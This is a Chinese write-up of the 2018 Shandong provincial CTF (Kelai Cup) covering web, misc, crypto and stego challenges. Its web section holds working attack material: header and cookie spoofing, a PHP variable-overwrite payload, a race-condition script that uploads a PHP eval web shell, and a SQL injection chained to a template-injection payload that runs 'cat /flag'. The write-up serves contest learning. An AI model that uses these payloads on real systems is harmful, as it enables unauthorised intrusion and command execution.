2018山东省省赛(科来杯)WriteUp

Web

Web1

根据提示“你的IP地址不在允许范围内“,在请求头添加X-Forwarded-For:127.0.0.1

根据提示“你不是管理员”,修改cookieadmin的值为1。

得到flag。

Web2

第一关给出了源码,考察的是变量覆盖+弱类型比较

<?php

    include 'here.php';
    $key = 'kelaibei';

    if(isset($_GET['id'])){
        $id = $_GET['id'];
        @parse_str($id);
        if ($key[99] != 'aabg7XSs' && md5($key[99]) == md5('aabg7XSs')) {
           echo $hint;
        }
        else{
            echo 'try again';
        }
    }
    else{
        show_source(__FILE__);
    }

payload:

/?id=key[99]=314282422

第二关

有一个表单,输入文件名和内容来创建文件并返回路径。但当我们去访问返回的文件路径时,内容变成了too solw!,能注意到submit之后有一个短暂的停顿时间才返回路径。

它的逻辑是,上传后创建该文件,有一个1或2秒的sleep才返回路径,在sleep执行完后执行的应该是覆盖该文件内容的操作,也就是too slow,也就是说等我们发出的请求返回时,文件内容已经被覆盖了。在覆盖前访问到该文件就会返回flag,并不用执行命令。

解题思路是:写个脚本不停的请求该文件。

当时的脚本:

import requests
import threading
S = requests.session()
burp0_url = "http://47.105.148.65:29002/upl04d50m3thing.php?filename=shell.php&content=%3C%3Fphp+%40eval%28%24_POST%5B%27a%27%5D%29%3B+%3F%3E"
burp0_cookies = {"PHPSESSID": "9f53c39f9d92b155eef84f566a85af1c", "session": ".eJwNj01rg0AQQP9KmbMHs91ehB5Sti6mzIhiCLO3fCzq6NhiG9oY8t_r_T0e7w7Hi_YTZD_zNSbQXyDbJDB9TucI2R2eTpABamXJtTduimeU_UKyNehroWX7ywZv5KoXlrcOpfgjX6VBWkOH3RD8fkHXWlIa-ZCPvKz-cjastZIbhSQXMkWKknfcBCUZLAnb0u-UZTClo5FcLaXPO9R6QGk32NQS_HvKioZ0bUi1coNlE_rg8RUeCVy_4zwddR2Aptf4EeNXnOHxDwKRTN0.DsLJEg.b1wYSUwY1h1HFFHsrhU-6zGDaCE", "admin": "0"}
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Referer": "http://47.105.148.65:29002/upl04d50m3thing.php?filename=shell.php&content=aa", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
def up():
    burp0_url = "http://47.105.148.65:29002/upl04d50m3thing.php?filename=shell.php&content=%3C%3Fphp+%40eval%28%24_POST%5B%27a%27%5D%29%3B+%3F%3E"
    a=S.get(burp0_url,headers=burp0_headers, cookies=burp0_cookies)

def shell():
            url2="http://47.105.148.65:29002/uploads/8af92ffefda7050707590b352dfb3cd2e03d29a6/shell.php"
    data={'a':'system(\'pwd\');'}
    b=S.get(url2,headers=burp0_headers, cookies=burp0_cookies,data=data)
    print b.text

for i in range(10):
    a = threading.Thread(target=up)
    b = threading.Thread(target=shell)
    a.start()
    b.start()

for i in range(10):
    a.join()
    b.join()

当时以为要传shell执行命令来着。其实可以更简单的脚本,循环请求该文件,手动submit就ok了。

import requests
def up():
    url = "http://47.105.148.65:29002/uploads/635e1c31153cc410cb61e8997f7c0458fb72785f/shell.php"
    a=requests.get(burp0_url)
    print a.text
while(True):
    up()
###web页面手动提交就ok

Web3

search处存在注入,但flag不在数据库中,因为查询的结果在渲染时没处理直接进行渲染所以这里存在ssti。

所以这是个注入和ssti的题目,通过union select控制查询结果实现ssti。

http://47.105.148.65:29003/?username=%27union+select+1,%22{{config}},3%20%23

没什么过滤的,执行命令输出flag。

http://47.105.148.65:29003/?username=%27union+select+1,%22{{().__class__.__mro__[1].__subclasses__()[59].__init__.func_globals.linecache.os.popen('cat /flag').read()}}%22,3%20%23

Misc

进制转换

二进制、八进制、十进制、十六进制,你能分的清吗?

附件:

d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e

写脚本匹配一下就ok:

import re
s="d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e"
s = s.split(" ")
slen = len(s)
for i in range(slen):
    if re.match("d()",s[i]):
        s[i] = s[i][1:]
    elif re.match("x()",s[i]):
        s[i] = int(s[i][1:],16)
    elif re.match("o()",s[i]):
        s[i] = int(s[i][1:],8)
    elif re.match("b()",s[i]):
        s[i] = int(s[i][1:],2)

flag = ''
for i in range(slen):
    flag += chr(int(s[i]))
print flag

crack it

flag:hellokitty

basic

绘图,给了共135000行rgb值,长宽的话爆破一下135000的因子就有了。

#-*- coding:utf-8-*-

from PIL import Image

file = open('basic.txt', 'r')

x = 75    #因式分解135000
y = 1800

IM = Image.new("RGB", (x, y))

for i in range(x):
    for j in range(y):
        line = file.readline()
        e = line.strip().lstrip('(').rstrip(')') #去除左右括号
        tmp = e.split(',')
        #print tmp
        IM.putpixel((i, j), (int(tmp[0]), int(tmp[1]), int(tmp[2])))

IM.show('pic.png') #存储图片为pic

Crypto

RSA

Wiener-attack

Ctf-rsa-tools 一把梭

N : 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597
e : 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619

enc : 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192

affine

y = 17*x-8

flag{szzyfimhyzd}

仿射加密

def affine(a, b):
    pwd = {}
    for i in range(26):
        pwd_dic[chr(((a*i+b)%26+97))] = chr(i+97)
    return pwd_dic

if __name__ == '__main__':
    pwd_dic = {}
    pwd = 'szzyfimhyzd'
    plain = []
    pwd_dic = affine(17, -8)
    #print pwd_dic
    for i in pwd:
        plain.append(pwd_dic[i])
    print "Flag is : " + "".join(plain)

神秘的代码

xor+aes_ecb

先异或两个info文件

file1 = file('info_clear.txt','rb')
file2 = file('info_crypt.txt','rb')
f1 = file1.read()
f2 = file2.read()
out=''
for i in range(len(f1)):
    out += chr(ord(f1[i])^ord(f2[i]))
print out
file1.close()
file2.close()

得到如下信息:

i am a hydre agenT, coverly spying on the superHeroes. I am aware of the group that iS going to aTtack you...but Hydra has had its diffErences with you in the past, so i'm not going to maKe it vEry simple for You ....ecb...aes(I Vouch for this: 12345)...md5(this)...base64...

将大写字母提取出来,是THISTHEKEYIV.但这并不是aes的key,key值是整段话的md5。(emmmm)

import hashlib
import base64
from Crypto.Cipher import AES

file1 = file('info_clear.txt','rb')
file2 = file('info_crypt.txt','rb')
file3 = file('true_crypto.txt','rb')
f1 = file1.read()
f2 = file2.read()
f3 = base64.b64decode(file3.read())

out=''
for i in range(len(f1)):
    out += chr(ord(f1[i])^ord(f2[i]))
key = hashlib.md5(out.rstrip('\n')).hexdigest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(f3)
print flag

file1.close()
file2.close()
file3.close()

#Congratulations, you got the real flag, the flag is - flag{4eS_3Cb_Us3_mD5_key}! :)

Stego

啊哒

binwalk分离出个压缩包

exif信息是一串十六进制,转成字符串是压缩包密码

解压得到flag

神秘的文件

明文攻击